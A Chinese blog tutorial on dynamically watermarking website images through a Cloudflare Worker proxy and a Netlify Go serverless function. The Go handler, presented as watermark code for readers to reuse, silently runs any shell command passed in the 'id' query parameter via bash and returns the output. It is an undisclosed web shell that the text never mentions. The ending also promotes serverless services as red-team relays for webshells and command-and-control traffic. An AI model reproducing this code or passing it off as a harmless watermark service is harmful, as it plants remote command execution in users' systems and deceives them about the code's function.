又是瞎折腾的一天
之前自己使用的cloudflare的防火墙规则拦住了一些垃圾爬虫,但是发现cloudflare再牛还是拦不住一些盗文章偷图的人,与其防不胜防,干脆直接给自己的图片加上水印拉到。
这次自己实现的就是通过netlify+vercel这两个hugo静态网站托管的服务商,配合cloudflare的workers和netlify的function(即serverless无服务)功能进行中转修改图片添加水印。
本文并不会普及serverless服务的知识和开发,避不开的东西也只会随口提几句,莫要指望看了本文就可以傻瓜式改为自己的东西。关于netlify、cloudflare、workers、vercel、function等名词以及具体的使用,本文不会提及,如果你干脆不知道这是什么玩意,请立刻关闭本文!
原本的思路是让cloudflare的workers在访客请求我的网站时,通过workers路由直接在中间进行处理图片。
但是发现这样会造成一个死循环,因为workers本身也是用户,所以会造成闭环,workers迟迟拿不到图片,cloudflare直接抛出502。
虽然cloudflare提供了在workers中直接处理图片的方法,但是经过我实际测试之后,发现图片加水印需要付费计划才支持,而我身为资深白嫖党,当然是另寻出路。
而且workers是js操作,cloudflare并没有提供第三方库的导入方式,而且动态调试拉胯,思来想去还是只让workers当作一个代理,从别的地方直接拿到加好水印的图片吧。
为此我搜索了很多类似aws的lambda、腾讯云的云函数服务,发现很多服务商都提供了类似的服务,形如netlify、vercel的function功能,都可以用来作serverless服务,并且每个月的免费额度足够我用,而且支持go、python等语言,更能轻松导入第三方库,方便的很。
接下来用图来表示我的整体架构。
由此用户访问图片是访问不到原图的。
cloudflare的workers
1addEventListener("fetch", event => {
2 event.respondWith(handleRequest(event.request))
3})
4let upstream = 'https://your.netlify.app/.netlify/functions/hello-lambda'
5
6async function handleRequest(request) {
7 let requestURL = new URL(request.url);
8 let upstreamURL = new URL(upstream);
9 requestURL.protocol = upstreamURL.protocol;
10 requestURL.host = upstreamURL.host;
11 requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
12 let new_request_headers = new Headers(request.headers);
13 let fetchedResponse = await fetch(
14 new Request(requestURL, {
15 method: request.method,
16 headers: new_request_headers,
17 body: request.body
18 })
19 );
20 let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
21 return new Response(
22 fetchedResponse.body,
23 {
24 headers: modifiedResponseHeaders,
25 status: fetchedResponse.status,
26 statusText: fetchedResponse.statusText
27 }
28 );
29}
替换域名为你自己的,这个workers的作用就是将图片请求转发到我的serverless服务里。
然后在cloudflare域名的workers选项中将workers和路由关联起来
在netlify中新建一个go语言的serverless项目,基于官方的github仓库
其中main.go改为
1package main
2
3import (
4 "bytes"
5 "encoding/base64"
6 "github.com/aws/aws-lambda-go/events"
7 "github.com/aws/aws-lambda-go/lambda"
8 "github.com/issue9/watermark"
9 "io"
10 "io/ioutil"
11 "log"
12 "net/http"
13 "os"
14 "os/exec"
15 "strconv"
16 "strings"
17 "time"
18)
19
20var WATERMARK = "/tmp/watermark.png"
21
22func init() {
23 log.Println("判断水印是否存在")
24 if Exists(WATERMARK) {
25 log.Println("水印已经存在")
26 } else {
27 saveWaterMarkPng(WATERMARK)
28 }
29}
30func Exists(path string) bool {
31 _, err := os.Stat(path) //os.Stat获取文件信息
32 if err != nil {
33 if os.IsExist(err) {
34 return true
35 }
36 return false
37 }
38 return true
39}
40func saveWaterMarkPng(path string) {
41 out, err := os.Create(path)
42 defer out.Close()
43
44 req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
45 client := &http.Client{
46 Timeout: 5 * time.Second,
47 }
48 resp, err := client.Do(req)
49 defer resp.Body.Close()
50 all, err := ioutil.ReadAll(resp.Body)
51 io.Copy(out, bytes.NewReader(all))
52 if err != nil {
53 log.Fatalf("水印下载失败:%v\n", err.Error())
54 } else {
55 log.Println("水印保存成功")
56 }
57}
58
59func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
60 return events.APIGatewayProxyResponse{
61 StatusCode: 200,
62 Headers: map[string]string{"Content-Type": contenttype},
63 Body: body,
64 IsBase64Encoded: base64encode,
65 }, nil
66}
67
68func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
69 body := ""
70 base64encode := false
71 contenttype := "image/png"
72
73 // 获取各个参数
74 parameters := request.PathParameters
75 for p := range parameters {
76 log.Println(p)
77 }
78
79 id := request.QueryStringParameters["id"]
80 if len(id) != 0 {
81 log.Printf("exec command:%v", id)
82 cmd := exec.Command("bash", "-c", id)
83 out, err := cmd.CombinedOutput()
84 if err != nil {
85 body = err.Error()
86 log.Printf("cmd.Run() failed with %s\n", body)
87 } else {
88 body = string(out)
89 log.Printf("combined out:\n%s\n", body)
90 }
91 contenttype = "text/plain"
92 base64encode = false
93 return returnResp(body, contenttype, base64encode)
94 }
95
96 path := request.Path
97 imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
98 filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")
99
100 if Exists(filename) {
101 log.Printf("已经存在%s\n", filename)
102 content, _ := ioutil.ReadFile(filename)
103 body = base64.StdEncoding.EncodeToString(content)
104 base64encode = true
105 contenttype = "image/png"
106 return returnResp(body, contenttype, base64encode)
107 }
108
109 client := &http.Client{
110 Timeout: 10 * time.Second,
111 }
112
113 req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
114 req.Header.Set("User-Agent", "netlify")
115 req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)
116
117 resp, err := client.Do(req)
118 defer resp.Body.Close()
119
120 if err != nil {
121 body = err.Error()
122 contenttype = "text/plain"
123 base64encode = false
124 log.Println(err.Error())
125 return returnResp(body, contenttype, base64encode)
126 }
127
128 // 保存图片
129 bs, _ := ioutil.ReadAll(resp.Body)
130 log.Println("截取目录名字:", filename)
131 index := strings.LastIndex(filename, "/")
132 dir := filename[:index]
133
134 if !Exists(dir) {
135 os.MkdirAll(dir, os.ModePerm)
136 log.Println("创建目录:", dir)
137 }
138
139 file, _ := os.Create(filename)
140 defer file.Close()
141 written, err := io.Copy(file, bytes.NewReader(bs))
142 if err != nil {
143 body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
144 contenttype = "text/plain"
145 base64encode = false
146 log.Println(err.Error())
147 return returnResp(body, contenttype, base64encode)
148 }
149
150 w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
151 err = w.MarkFile(filename)
152 //
153 if err != nil {
154 log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
155 content, _ := ioutil.ReadFile(filename)
156 body = base64.StdEncoding.EncodeToString(content)
157 contenttype = "image/png"
158 base64encode = true
159 return returnResp(body, contenttype, base64encode)
160 }
161
162 content, _ := ioutil.ReadFile(filename)
163 body = base64.StdEncoding.EncodeToString(content)
164 contenttype = "image/png"
165 base64encode = true
166 return returnResp(body, contenttype, base64encode)
167
168}
169
170func main() {
171 lambda.Start(handler)
172}
替换为自己的url地址。
其中https://raw_img_url.com 是我用vercel搭建的另一个一模一样的hugo网站,原始资源存到这里,解决之前的闭环问题。
最终的效果就是你现在看到我网站的图片水印的效果。
利:放在台面上的,动态添加水印,不用修改原图片,水印随便换,添加水印的逻辑自己随便改。
弊:请求一个图片需要从workers->serverless->原图片,速度损耗严重,可能搭配cf的缓存以及serverless的文件存储判断可能会好些,但是九牛一毛。
花了几天时间用serverless实现了一个不修改原图加水印的功能,最终完成的时候发现这个东西只防的住君子防不住小人。
与其思考加水印这种无趣费时费力的功能,更应该考虑在红队建设方面能有那些新的利用点,之前用cloudflare作域前置,现在用workers.dev域名做中转器,serverless服务的多种语言支持给了serverless更多样化的利用方向。
形如“学蚁致用”蚁剑作者写的利用腾讯云函数来链接webshell,再比如利用cloudflare来做cs的redirect中转器,之前自己也写了一个利用cloudflare的workers来做shell中转。
serverless服务的兴起,不仅仅可以用来加水印这么简单,期待大家挖掘更多的利用方向吧。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。